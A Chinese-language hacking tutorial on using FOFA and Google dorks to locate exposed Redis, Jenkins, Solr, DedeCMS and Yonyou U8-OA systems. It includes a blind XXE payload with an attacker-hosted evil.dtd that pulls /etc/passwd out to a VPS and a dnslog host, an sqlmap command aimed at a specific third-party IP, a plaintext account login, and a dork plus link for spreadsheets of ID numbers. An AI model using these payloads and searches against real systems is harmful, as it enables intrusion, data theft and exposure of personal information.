各种与安全相关的搜索引擎。
shodan、fofa、zoomeye、google(google hacking)、bing等。还提供了API。
1.fofa
1.1 网址和注册信息
注册信息:
149198978@qq.com Abcd123.com
1.2 fofa搜索语法
逻辑连接符 = 匹配,=""时,可查询不存在字段或者值为空的情况。 == 完全匹配,==""时,可查询存在且值为空的情况。 && 与 || 或者 != 不匹配,!=""时,可查询值为空的情况。 *= 模糊匹配,使用*或者?进行搜索,比如banner*="mys??" (个人版及以上可用)。 () 确认查询优先级,括号内容优先级最高。 title ="beijing" 从标题中搜索“北京” header ="elastic" 从http头中搜索“elastic” - body ="网络空间测绘" 从html正文中搜索“网络空间测绘” - fid="sSXXGNUO2FefBTcCLIT/2Q==" 查找相同的网站指纹 domain="tedu.cn" 搜索根域名带有tedu.cn的网站,子域名搜索 - icp="京ICP证030173号" 查找备案号为“京ICP证030173号”的网站 js_name="js/jquery.js" 查找网站正文中包含js/jquery.js的资产 js_md5="82ac3f14327a8b7ba49baa208d4eaa15" 查找js源码与之匹配的资产 - cname="ap21.inst.siteforce.com" 查找cname为"ap21.inst.siteforce.com"的网站 - cname_domain="siteforce.com" 查找cname包含“siteforce.com”的网站 - cloud_name="Aliyundun" 通过云服务名称搜索资产 - product="NGINX" 搜索此产品的资产 category="服务" 搜索此产品分类的资产 icon_hash="-247388890" 搜索使用此 icon 的资产 host=".gov.cn" 从url中搜索”.gov.cn”搜索要用host作为名称 port="6379" 查找对应“6379”端口的资产 redis - ip="1.1.1.1" 从ip中搜索包含“1.1.1.1”的网站搜索要用ip作为名称 ip="220.181.111.1/24" 查询IP为“220.181.111.1”的C网段资产 - status_code="402" 查询服务器状态为“402”的资产 protocol="quic" 查询quic协议资产 country="CN" 搜索指定国家(编码)的资产 - region="Xinjiang Uyghur Autonomous Region" 搜索指定行政区的资产 - city="Ürümqi" 搜索指定城市的资产 - cert="baidu" 搜索证书(https或者imaps等)中带有baidu的资产 - cert.subject="Oracle Corporation" 搜索证书持有者是Oracle Corporation的资产 - cert.issuer="DigiCert" 搜索证书颁发者为DigiCert Inc的资产 - cert.is_valid=true 验证证书是否有效,true有效,false无效 cert.is_match=true 证书和域名是否匹配;true匹配、false不匹配 cert.is_expired=false 证书是否过期;true过期、false未过期 jarm="2ad...83e81" 搜索JARM指纹 - banner="users" && protocol="ftp" 搜索FTP协议中带有users文本的资产 - type="service" 搜索所有协议资产,支持subdomain和service两种 os="centos" 搜索CentOS资产 - server=="Microsoft-IIS/10" 搜索IIS 10服务器 - app="Microsoft-Exchange" 搜索Microsoft-Exchange设备 - after="2017" && before="2017-10-01" 时间范围段搜索 - asn="19551" 搜索指定asn的资产 - org="LLC Baxet" 搜索指定org(组织)的资产 - base_protocol="udp" 搜索指定udp协议的资产 - is_domain=true 搜索域名的资产,只接受true和false is_cloud=true 筛选使用了云服务的资产 - port_size="6" 查询开放端口数量等于"6"的资产 port_size_gt="6" 查询开放端口数量大于"6"的资产 port_size_lt="12" 查询开放端口数量小于"12"的资产 ip_ports="80,161" 搜索同时开放80和161端口的ip ip_country="CN" 搜索中国的ip资产 ip_region="Zhejiang" 搜索指定行政区的ip资产(以ip为单位的资产数据) ip_city="Hangzhou" 搜索指定城市的ip资产(以ip为单位的资产数据) ip_after="2021-03-18" 搜索2021-03-18以后的ip资产 ip_before="2019-09-09" 搜索2019-09-09以前的ip资产
1.3模糊查询
*表示任意数量字符,可以是0、1、n; ?表示1个字符
在FOFA上,模糊搜索是通过在*=后面添加通配符 * 或 ? 来实现的,但 = 并不是通配符,仅仅是用来表示使用模糊搜索功能的符号。
1.4 fofa搜索组合拳
1.4.1查找未授权访问漏洞
title="401 Unauthorized" || title="403 Forbidden" || title="404 Not Found"
1.4.2 查找弱口令漏洞
body="<input type=\"password\""
这些页面通常可能存在弱口令漏洞。
1.4.3 查找文件上传漏洞
title="Upload" && body="form enctype=multipart/form-data method=post" 方法二: body="<form[^>]*?enctype=\"multipart/form-data\"[^>]*?>"
上述语法表示搜索所有包含“Upload”关键词的页面,并且包含enctype=multipart/form-data、method=post的HTML表单,这些页面通常可能存在文件上传漏洞。
1.4.4查找CMS漏洞
title="Powered by WordPress" || title="Powered by Joomla" || title="Powered by Drupal"
上述语法表示搜索所有返回“Powered by WordPress”、“Powered by Joomla”或“Powered by Drupal”的页面,这些页面通常可能存在相关CMS的漏洞。
1.4.5查找Web漏洞
title="404 Not Found" || title="403 Forbidden" || title="401 Unauthorized" || title="500 Internal Server Error" || title="502 Bad Gateway" || title="503 Service Unavailable" || title="SQL Error" || title="ASP.NET Error"
述语法表示搜索所有返回“404 Not Found”、“403 Forbidden”、“401 Unauthorized”、“500 Internal Server Error”、“502 Bad Gateway”、“503 Service Unavailable”、“SQL Error”或“ASP.NET Error”的页面,这些页面通常可能存在Web漏洞。
1.4.6查找未加密的数据库
title="phpMyAdmin" || title="MySQL" || title="phpPgAdmin" || title="PostgreSQL" || title="Microsoft SQL Server" && body="input type=password"
上述语法表示搜索所有返回“phpMyAdmin”、“MySQL”、“phpPgAdmin”、“PostgreSQL”或“Microsoft SQL Server”的页面,并且包含type=password的HTML表单,这些页面可能存在未加密的数据库。
1.4.7查找存储型XSS漏洞
body="textarea" && body="input type=text" && body="input type=password"
上述语法表示搜索所有包含HTML文本输入框和密码输入框的页面,并且包含textarea的HTML表单,这些页面可能存在存储型XSS漏洞。
1.4.8 查找常见漏洞指纹
title="404 Not Found" || title="403 Forbidden" || title="401 Unauthorized" || title="500 Internal Server Error" || title="502 Bad Gateway" || title="503 Service Unavailable" || title="SQL Error" || title="ASP.NET Error" || title="404" || title="Login - Powered by Discuz" || title="Login - Powered by UCenter" || title="Powered by DedeCMS" || title="Powered by PHPWind" || title="Powered by discuz" || title="Powered by phpMyAdmin" || title="Powered by phpwind" || title="Powered by vBulletin" || title="Powered by wordpress" || title="phpMyAdmin" || title="phpinfo" || title="Microsoft-IIS" || title="Joomla" || title="Drupal" || title="WordPress" || title="Apache Tomcat" || title="GlassFish Server" || title="nginx" || title="Oracle HTTP Server"
上述语法表示搜索包含常见漏洞指纹的页面,例如Web服务器和CMS名称、错误页面、phpinfo、phpMyAdmin等等。
1.4.9 查找远程命令执行漏洞
body="<form method=\"post\" enctype=\"multipart/form-data\" action=\"\S*/index.php\" name=\"form\" id=\"form\">"
上述语法表示搜索包含特定HTML表单的页面,该表单通常存在远程命令执行漏洞。
1.5 利用fofa挖漏洞
1.5.1 redis未授权
- 搜索
port="6379"
2.直接nc 连 6379端口
nc IP地址 6379
输入命令info返回了redis基本信息

1.5.2 Jenkins 未授权
fofa语法搜索:
port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"

在默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令。
所以jenkins未授权的危害非常大。
执行一下命令:

1.5.3 Apache solr XML 实体注入漏洞
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现
fofa语法搜索:
app="Solr" && port="8983"

找到了目标ip进入主界面
可以看到版本小于7.0,所以可能存在xxe

进入搜索框,切换成搜索xxe

BP抓包

构造payload尝试外带,外带地址是dnslog:qmurld.dnslog.cnpayload:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://qmurld.dnslog.cn/">%remote;]><root/>&wt=xml&defType=xmlparser
将payload进行url编码
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C%21DOCTYPE%20root%20%5B%0A%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3A//qmurld.dnslog.cn/%22%3E%0A%25remote%3B%5D%3E%0A%3Croot/%3E&wt=xml&defType=xmlparser

发现外带成功,所以存在xxe漏洞
因为是Blind xxe,所以在需要在vps服务器上构造恶意的dtd
放在服务器上的evil.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
BP请求的内容
<?xml+version="1.0"+?><!DOCTYPE+root[<!ENTITY+%+ext+SYSTEM+"http://vps的ip地址:端口/evil.dtd">%ext;%ent;]><r>&data;</r>
请求的内容也需要进行url编码
%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f
ip:port
%2fevil.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E
发现已经成功读取到/etc/passwd

1.5.4 dedecms url跳转漏洞
1.url跳转漏洞简介
2.先在fofa语法搜索
body="/plus/download.php"


3.在后面加入链接/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20%3D跳转到百度,百度url要base64编码
成功跳转

更多的姿势还需要多多发挥想象力,去组合,去找到对应漏洞的特征。
1.6扩展文档
1.网络空间搜索引擎对比
2.一款联合fofa与xray的自动化批量扫描工具
3.fofa批量漏洞挖掘
参考链接
fofa批量挖掘—用友 U8 OA SQL注入漏洞
1-漏洞POC(Proof Of Concept,概念验证),验证网站是否有漏洞,不会攻击
2-使用fofa搜索
title="用友U8-OA"

3-漏洞验证
打开fofa搜索到的资产,在url中拼接poc,使用sqlmap进行探测

sqlmap语句:

探测出数据库:

探测数据表:

探测出表名:

4-通过ip反查域名、通过站长工具查询出域名归属公司,通过天眼查查询公司详细信息,提交到漏洞盒子
fofa得到的一个有漏洞的网站:
sqlmap.py -u "http://218.200.55.58:9093/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))" -p "S1" --batch --dbs
2.Google Hacking
2.1 Google Hacking介绍
Google Hacking作为常用且方便的信息收集搜索引擎工具,它是利用谷歌搜索强大,可以搜出不想被看到的后台、泄露的信息、未授权访问,甚至还有一些网站配置密码和网站漏洞等。掌握了Google Hacking基本使用方法,或许下一秒就是惊喜
2.2 Google Hacking的基本使用
1.site:找到与指定网站有联系的URL
- 举例:搜索site:baidu.com ,所有和这个网站有联系的URL都会被显示
2.inurl:将返回url中含有关键词的网页
- 举例:搜索inurl:Login ,将返回url中含有Login 的网页
3.allinurl:与inurl类似,可以指定多个词
- 举例:allinurl:Login admin 将返回url中含有Login和admin的网页
4.intext:寻找正文中含有关键字的网页
- 举例:搜索intext:后台登陆,将只返回正文中包含后台登陆的页面
5.allintext:寻找正文中的多个关键字
- 举例:搜索intext:后台登陆 公司,将返回正文中包含后台登陆和公司的页面
6.intitle:寻找标题中含有关键字的网页
- 举例:搜索intitle:后台登陆,将只返回正文中包含后台登陆的网页
7.filetype:指定访问的文件类型
- 举例:搜索filetype:doc site:baidu.com 将返回baidu.com 站点上文件类型位doc的网页
8.cache:此问题将向您显示任何网站的缓存版本
- 例如 cache: securitytrails.com
2.3符号使用
- 精确搜索:给关键词加上双引号实现精确匹配双引号内的字符
- 通配符:谷歌的通配符是星号“*”,必须在精确搜索符双引号内部使用。用通配符代替关键词或短语中无法确定的字词
- 点号匹配任意字符:点号“.”匹配的是匹配某个字符,不是字、短语等内容。
- 基本搜索符号约束:
- 加号"+"用于强制搜索,即必须包含加号后的内容。一般与精确搜索符一起应用。
- 减号"-",表示不包含减号后的关键词,用关于搜索结果的筛选。
- 数字范围:用两个点号“..”表示一个数字范围。一般应用于日期、货币、尺寸、重量、高度等范围的搜索如:手机2000..3000元,注意“3000”与“元”之间必须有空格
- 布尔逻辑:或,符号“|”在多个关键字中,只要有一个关键字匹配上即可;与,符号“&”所有的关键字都匹配上才可以
2.4综合使用
- 查找后台地址:site:域名inurl:"login"|inurl:"logon"|inurl:"admin"|inurl:"manage"|inurl:"manager"|inurl:"member"|inurl:"admin_login"|inurl:"ad_login"|inurl:"ad_manage"|inurl:"houtai"|inurl:"guanli"|inurl:"htdl"|inurl:"htgl"|inurl:"members"|inurl:"system"|inurl:"login_admin"|inurl:"system"|inurl:"user"|inurl:"main"|inurl:"cms"
- 查找文本内容:site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|账号|admin|login|sys|managetem|password|username
- 查找可注入点:site:域名 inurl:aspx | inurl:jsp | inurl:php | inurl:asp
- 查找上传漏洞:site:域名 inurl:file | inurl:load | inurl:editor | inurl:Files
- 找eweb编辑器:site:域名 inurl:ewebeditor | inurl:editor | inurl:uploadfile | inurl:eweb | inurl:edit
- 存在的数据库:site:域名 filetype:mdb|asp
- 查看脚本类型:site:域名 filetype:asp|aspx|php|jsp
敏感信息:
- 办公文件:site:域名 filetype:pdf | filetype:doc | filetype:xls | filetype:docx | filetype:xlsx | filetype:ppt | filetype:pptx | filetype:csv | filetype:odt | filetype:rtf | filetype:sxw
- 配置文件:site:域名 ext:.xml | .conf | .cnf | .reg | .inf | .rdp | .cfg | .txt | .ora | .ini
- 数据库文件:site:域名 ext:.sql | .dbf | .mdb | .db | .log
- 备份文件:site:域名 ext:.bkf | .bkp | .old | .backup | .bak | .swp | .rar | .txt | .zip | .7z | .sql | .tar.gz | .tgz | .tar
- 错误信息:site:域名 intext:"error"|intext:"warning"|intext:"for more information"|intext:"not found"
建议采取这些措施以防止敏感信息被搜索引擎索引。
- 使用用户和密码身份验证以及使用基于IP的限制来保护私有区域。
- 加密您的敏感信息(用户,密码,信用卡,电子邮件,地址,IP地址,电话号码等)。
- 针对您的网站进行常规漏洞扫描,这些漏洞扫描通常已经使用了流行的Google Dorks查询,并且可以有效地检测出最常见的查询。
- 在您自己的网站上运行常规的问题查询,看看您是否能在坏人发现之前找到任何重要信息。您可以在Exploit DB Dorks数据库中找到大量受欢迎的傻瓜。
- 如果您发现敏感内容公开,请使用Google Search Console要求将其删除。
- 使用位于根目录网站目录中的robots.txt文件阻止敏感内容。
Google是一款十分强大的搜索引擎,黑客们常常借助它搜索网站的一些敏感目录和文件,甚至可以利用它的搜索功能来自动攻击那些有漏洞的网站;我们在日常的生活中正确的借助Google搜索也可以更加高效的找到我们需要的东西。
基本语法
AND | OR
site:可以限制你搜索范围的域名.
例如 : site :edu.cn
inurl:用于搜索管理登录入口、注入点、指点站点,搜索返回的页面中的url含有搜索的关键字
inurl: php?id=1
intext: 只搜索网页部分中包含的文字(也就是忽略了标题、URL等的文字)
intitle: 查包含关键词的页面,一般用于社工别人的webshell密码
intitle:后台管理 inurl:admin #可以与inurl结合使用提高搜索精度
filetype:搜索文件的后缀或者扩展名
intitle:搜索网页中的标题内容与关键字匹配的页面
link: 可以得到一个所有包含了某个指定URL的页面列表.
一些实例
查找后台地址:site:域名 inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms 查找文本内容:site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|admin|login|sys|managetem|password|username 查找可注入点:site:域名 inurl:aspx|jsp|php|asp 查找上传漏洞:site:域名 inurl:file|load|editor|Files 找eweb编辑器:site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit 存在的数据库:site:域名 filetype:mdb|asp|# 查看脚本类型:site:域名 filetype:asp/aspx/php/jsp 迂回策略入侵:inurl:cms/data/templates/images/index/
bing.com
filetype:xls 身份证
[](http://www.cwu.edu.cn/xsc/docs/2014-06/20140625152444621736.xls)